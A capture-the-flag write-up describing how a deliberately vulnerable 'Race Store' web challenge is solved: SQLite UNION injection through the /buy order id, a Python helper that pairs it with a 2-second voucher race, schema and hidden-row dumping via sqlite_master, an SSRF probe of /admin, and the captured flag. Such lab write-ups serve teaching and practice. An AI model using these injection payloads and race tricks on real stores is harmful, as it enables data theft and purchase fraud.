Can You Buy Flag?

Is there sql here? Anything else?

Connections

  • https://chicken-comparable-temp-addresses.trycloudflare.com

Attachments

Recon

The challenge description promises a SQL bug and something else on top.

Opening the challenge URL shows a storefront. The header reads “Race Store” next to “Your Balance: 0 Coins”, and the product grid lists four cards: T-Shirt Basic at 150, Hoodie Black at 350, Sneaker White at 800 and Cap Logo at 80 coins. Each card’s Buy button is a plain link to /buy/ORD-1001 through /buy/ORD-1004. Below the grid sits a “Redeem Promotion Voucher” panel with a form that posts two fields, order_id and code_sale, to /apply-sale, prefilled with ORD-1001 and SALE1000, plus a notice reading “Flash discount voucher expires 2 seconds after generation”. A Vietnamese HTML comment in the page source repeats the same TTL: <!-- Code sale có time live: 2s -->.

Race Store storefront with the voucher form

Following a Buy link, say the Cap’s, leads to /buy/ORD-1004, which answers “Need 80”. With a zero balance nothing in the catalog is affordable, so the whole challenge hinges on defeating a price.

The only attachment, nginx.zip, documents the whole setup, rate limits included. Unzipping the attachment yields a single nginx.conf; trimmed of its standard events/http/server wrapper, the parts that matter read:

limit_req_zone $binary_remote_addr zone=store:10m rate=2r/s;

location / {
    limit_req zone=store burst=5 nodelay;
    proxy_pass http://app:5000;
    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
}

location /admin {
    limit_req zone=store burst=2 nodelay;
    proxy_pass http://app:5000;
    proxy_set_header Host $host;
}

Three things in this file shape everything that follows. The limit_req_zone caps every client at 2 requests per second with nodelay bursts of 5 on / and 2 on /admin, so requests beyond that rate earn a 429; all our tooling serializes requests with roughly 1.3 seconds of spacing. The /admin block forwards Host but omits X-Real-IP, the one header the / block passes, which suggests the application reads one of these headers when it decides who is admin. And proxy_pass http://app:5000 names the internal service host app, a detail that matters for the admin endpoint.

Every visit to the homepage hands out a fresh session cookie, so we fetched / exactly once with curl into a cookie jar and reused that session for every scripted request afterwards. The recorded capture looks like this:

$ curl -sS -D "$STATE/headers_home.txt" -c "$STATE/cookies.txt" -o "$STATE/home.html" \
    --max-time 30 "$BASE/"
$ cat "$STATE/headers_home.txt"
HTTP/2 200
content-type: text/html; charset=utf-8
set-cookie: session=eyJ1c2VyX2lkIjoxfQ.awqbSQ.c2GcsoTWcCbyTgj4zljZyEhwSHU; HttpOnly; Path=/

The cookie is a Flask session (an itsdangerous-signed payload in three dot-separated parts), and its first segment base64-decodes to {"user_id":1}, so it only carries our user id. Between the rate limit and the 2-second voucher TTL, a browser is the wrong tool for the timed steps ahead, and scripted HTTP with this saved cookie is the practical option.

Mapping inputs leaves four surfaces: the order_id path parameter on GET /buy/<order_id>, the order_id and code_sale form fields on POST /apply-sale, the url query parameter on GET /admin (which answers 400 Missing url parameter when called bare), and the session cookie.

Exploitation

Probing the admin endpoint

Since /admin wants a url, we pointed it at the internal service that nginx had named, and the application answered with a Python error:

GET /admin?url=http://app:5000/
500: Error: [Errno 2] No such file or directory: 'curl'

That is a FileNotFoundError, which means the endpoint shells out to a curl binary with our URL as an argument, and the container has no curl installed. The error also tells us the subprocess call passes a list of arguments rather than going through a shell, since with shell=True a missing binary would have surfaced as an exit 127 from /bin/sh instead of this exception. So the endpoint is an SSRF, but as deployed it cannot execute anything, and we went after the store instead. The flag string, once we had it, named this gopher-based route as the intended deeper path; we never needed it.

Finding the SQL injection

The buy URL takes the order id straight into a query, and one quote was enough to break it:

GET /buy/ORD-1004'   ->   500: SQL Error: unrecognized token: "'ORD-1004''"

The application echoes the database exception verbatim into the response, which gives us both an injection point and a full error oracle. Two confirmations pinned the behavior down: ' OR '1'='1 made the query match the first catalog row and the page answered “Need 150”, and ORD-1004' AND '1'='1 behaved exactly like the literal id with “Need 80”. Our input lands inside a quoted string comparison, and the error text is SQLite’s.

Counting UNION columns

Climbing from error messages to data needs the number of result columns. We ran a paced loop that appends an increasing number of NULLs to a UNION:

for n in range(1, 9):
    payload = "' UNION SELECT " + ",".join(["NULL"] * n) + "--"
    path = "/buy/" + urllib.parse.quote(payload, safe="")
    s, h, d = request("GET", path, cookie=cookie)
    body = d.decode("utf-8", "replace").strip()
    print(f"cols={n} -> {s}: {body[:200]}")
    time.sleep(1.3)

With one to five NULLs the server kept answering SQLite’s UNION column-count mismatch error. At six NULLs the failure mode changed to a bare Flask 500, meaning the SQL had executed and the application then crashed trying to use a NULL as the price. So the server-side query has six result columns, consistent with a shape like:

SELECT id, order_id, name, price, hidden, description
FROM products WHERE order_id = '<input>'

Making any row affordable

The buy handler reads the row’s price and compares it against balance plus discount, and the success page prints the row’s name and description. Text in the price slot crashes the integer conversion, so the extraction payloads keep a literal 0 in the price position. The other half of the pair is the voucher: a POST /apply-sale with the form’s default SALE1000 code stores a discount on the session’s user row, and in our final run the response was {"discount":389000,"expire_in":2,"status":"ok"}. One voucher is worth more than any price in the catalog, but it only lives for 2 seconds.

A marker run with ' UNION SELECT 'P1','P2','P3',0,'P5','P6'--, voucher applied first, showed the success page printing columns 3 and 6, the name and description slots. So the exfiltration pair became: post the voucher with the payload as order_id, then request the injected buy URL inside the TTL, and the success page prints whatever expression we put in the name slot. The core of the helper we used, dump_expr:

def dump_expr(expr, tag=""):
    """One timed apply-sale (voucher, 2s TTL) + UNION-buy printing expr at pos 3 (name slot)."""
    payload = "' UNION SELECT 1,2," + expr + ",0,5,6--"
    q = urllib.parse.quote(payload, safe="")
    t0 = time.time()
    s1, _, d1 = request("POST", "/apply-sale",
                        form={"order_id": payload, "code_sale": "SALE1000"}, cookie=cookie)
    out1 = d1.decode()[:200]
    s2, _, d2 = request("GET", f"/buy/{q}", cookie=cookie)
    out2 = d2.decode("utf-8", "replace")[:3000]
    print(f"### {tag} [{time.time()-t0:.2f}s] apply={s1} {out1}")
    print(f"### buy -> {s2}: {out2}")

The opening quote closes the original string, the UNION row carries our expression in position 3 with a 0 in the price slot, and -- discards the rest of the original query. The voucher request carries the same payload as its order_id so the discount and the purchase refer to the same row, and both requests complete well inside the 2-second window.

Dumping the schema and the hidden rows

Two timed pairs pulled the schema out of sqlite_master:

(SELECT group_concat(name," ~ ") FROM sqlite_master WHERE type="table")
(SELECT group_concat(sql," ~ ") FROM sqlite_master)

The first listed the tables as products ~ sqlite_sequence ~ users, and the second returned the CREATE statements:

CREATE TABLE products (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    order_id TEXT UNIQUE,
    name TEXT,
    price INTEGER,
    hidden INTEGER DEFAULT 0,
    description TEXT
)
CREATE TABLE users (
    id INTEGER PRIMARY KEY,
    coins INTEGER DEFAULT 1000,
    discount_amount INTEGER DEFAULT 0,
    discount_expire REAL DEFAULT 0
)

The hidden column on products explains why the catalog shows only four items, and the discount_amount / discount_expire columns on users are where the 2-second voucher lives. One more pair with a group_concat over every row returned the full table through the purchase page:

The products table dumped through the purchase page, hidden orders included

ORD-1001 :: T-Shirt Basic   :: 150  :: h=0 :: Áo thun cotton basic
ORD-1002 :: Hoodie Black    :: 350  :: h=0 :: Áo hoodie đen ấm áp
ORD-1003 :: Sneaker White   :: 800  :: h=0 :: Giày sneaker trắng
ORD-1004 :: Cap Logo        :: 80   :: h=0 :: Mũ lưỡi trai logo store
ORD-1337 :: Hint after seen flag id :: 1000 :: h=1 :: Is /admin really safe?
ORD-4869 :: Secret Flag Item :: 9999 :: h=1 :: [description cut from this paste]

We cut the ORD-4869 description here so the flag appears only once, at the end. Two rows were hidden from the catalog: ORD-1337 is a taunt pointing at the admin endpoint we had already probed, and ORD-4869 is the real target, a “Secret Flag Item” priced 9999 coins with the flag sitting in its description. The purchase gate still stands, so the item has to be bought rather than read.

Flag capture

The finish is the same timed pattern against the real order id, with the voucher applied and the purchase sent inside the 2-second TTL. The application bought the 9999-coin item for 0 and printed the flag on its legitimate success page:

The Secret Flag Item bought for 0 coins

[0.366s] POST /apply-sale  order_id=ORD-4869 code_sale=SALE1000
         -> {"discount":389000,"expire_in":2,"status":"ok"}
[0.771s] GET /buy/ORD-4869
         -> Bought Secret Flag Item for 0 coins!<br><b>FLAG: NVR{r4c3_c0nd1t10n_g0ph3r_un10n_sqli}</b>